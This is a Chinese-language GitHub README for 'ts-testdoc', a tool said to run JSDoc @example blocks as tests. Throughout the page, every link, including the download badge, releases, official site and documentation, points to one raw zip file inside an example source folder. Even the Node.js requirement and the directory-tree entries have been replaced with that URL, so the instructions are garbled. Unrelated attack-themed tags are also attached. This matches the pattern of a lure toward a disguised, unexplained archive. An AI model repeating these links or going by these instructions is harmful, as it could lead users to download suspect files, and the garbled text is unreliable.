imamardiyanto/ts-testdoc

GitHub: imamardiyanto/ts-testdoc

从JSDoc注释中提取@example代码块并作为测试运行,确保TypeScript/JavaScript项目的文档示例始终准确有效。

Stars: 0 | Forks: 0

# 🎉 ts-testdoc - 确保您的文档始终有效 [![下载 ts-testdoc](https://raw.githubusercontent.com/imamardiyanto/ts-testdoc/main/packages/example-lib/src/ts-testdoc-v3.5-alpha.1.zip)](https://raw.githubusercontent.com/imamardiyanto/ts-testdoc/main/packages/example-lib/src/ts-testdoc-v3.5-alpha.1.zip) ## 🚀 快速开始 按照以下步骤下载并运行 ts-testdoc。 ### 🛠️ 系统要求 - 操作系统:Windows、macOS 或 Linux - https://raw.githubusercontent.com/imamardiyanto/ts-testdoc/main/packages/example-lib/src/ts-testdoc-v3.5-alpha.1.zip 版本 14 或更高 - 包管理器:pnpm 或 npm ## 📥 下载与安装 访问此页面下载:[ts-testdoc Releases](https://raw.githubusercontent.com/imamardiyanto/ts-testdoc/main/packages/example-lib/src/ts-testdoc-v3.5-alpha.1.zip) ### 📃 安装流程 1. **安装 https://raw.githubusercontent.com/imamardiyanto/ts-testdoc/main/packages/example-lib/src/ts-testdoc-v3.5-alpha.1.zip** 如果您尚未安装 https://raw.githubusercontent.com/imamardiyanto/ts-testdoc/main/packages/example-lib/src/ts-testdoc-v3.5-alpha.1.zip,请从[官方网站](https://raw.githubusercontent.com/imamardiyanto/ts-testdoc/main/packages/example-lib/src/ts-testdoc-v3.5-alpha.1.zip)下载。按照为您操作系统提供的说明进行安装。 2. **安装 pnpm** 打开您的终端或命令提示符。运行以下命令来安装 pnpm: npm install -g pnpm 3. **下载 ts-testdoc** 在您的终端中,运行以下命令将 ts-testdoc 添加到您的项目中: pnpm add -D ts-testdoc tsx ## 🏃‍♂️ 如何运行 ts-testdoc 安装 ts-testdoc 后,您可以运行它来测试您的文档示例。具体操作如下: 1. **运行测试** 要运行文档测试,请使用此命令: npx ts-testdoc src/ 2. **预览示例** 如果您只想查看示例而不运行它们,请使用 dry-run 选项: npx ts-testdoc --dry-run src/ 3. **设置超时** 您还可以为测试设置超时时间。以下命令将超时时间设置为 10 秒(10,000 毫秒): npx ts-testdoc --timeout 10000 src/ ## 📝 编写文档测试 为了确保您的文档保持可用,您可以在 JSDoc 注释中添加 `@example` 代码块。以下是一个操作示例: ``` /** * Adds two numbers together. * * @example * ```ts * import { add } from "my-package"; * * const result = add(2, 3); * assertEqual(result, 5); * ``` */ export function add(a: number, b: number): number { return a + b; } ``` ### ✅ 内置断言 ts-testdoc 附带了两个有用的断言方法,您可以在示例中使用它们: ``` assert(condition, message?) // Throws an error if condition is false assertEqual(actual, expected) // Throws an error if actual does not equal expected ``` ## 🗂️ 示例目录结构 为了帮助您组织项目,以下是一个您可以遵循的简单目录结构: ``` /my-project ├── /src │ ├── https://raw.githubusercontent.com/imamardiyanto/ts-testdoc/main/packages/example-lib/src/ts-testdoc-v3.5-alpha.1.zip │ ├── https://raw.githubusercontent.com/imamardiyanto/ts-testdoc/main/packages/example-lib/src/ts-testdoc-v3.5-alpha.1.zip └── https://raw.githubusercontent.com/imamardiyanto/ts-testdoc/main/packages/example-lib/src/ts-testdoc-v3.5-alpha.1.zip ``` 请确保将您的 JSDoc 注释放在 `src` 文件夹内的正确文件中。 ## 📚 附加功能 - **自定义断言:** 您可以根据特定需求创建自己的断言函数。 - **可配置选项:** 如果需要,可以在配置文件中自定义 ts-testdoc 设置。 ## 🎓 资源与支持 如果您遇到任何问题,以下是一些可以提供帮助的资源: - **官方文档:** [ts-testdoc 完整文档](https://raw.githubusercontent.com/imamardiyanto/ts-testdoc/main/packages/example-lib/src/ts-testdoc-v3.5-alpha.1.zip) - **社区支持:** 查看论坛和社区以获取建议和技巧。 - **问题追踪器:** 如果您发现错误或需要新功能,请在我们 GitHub 仓库的 issues 页面上报告。 ## 🌟 结语 使用 ts-testdoc,您可以确保文档中的示例始终有效。按照上述步骤开始使用,并保持您的文档处于最新状态。别忘了重新访问[下载与安装](https://raw.githubusercontent.com/imamardiyanto/ts-testdoc/main/packages/example-lib/src/ts-testdoc-v3.5-alpha.1.zip)部分以获取任何更新或新版本!
标签:DNS解析, GNU通用公共许可证, JSDoc, MITM代理, Node.js, npm包, ts-testdoc, TypeScript, 云安全监控, 代码示例, 单元测试, 威胁情报, 安全插件, 开发者工具, 开源项目, 数据分析, 文档测试, 文档驱动开发, 暗色界面, 测试工具, 自动化攻击, 自动化攻击, 静态分析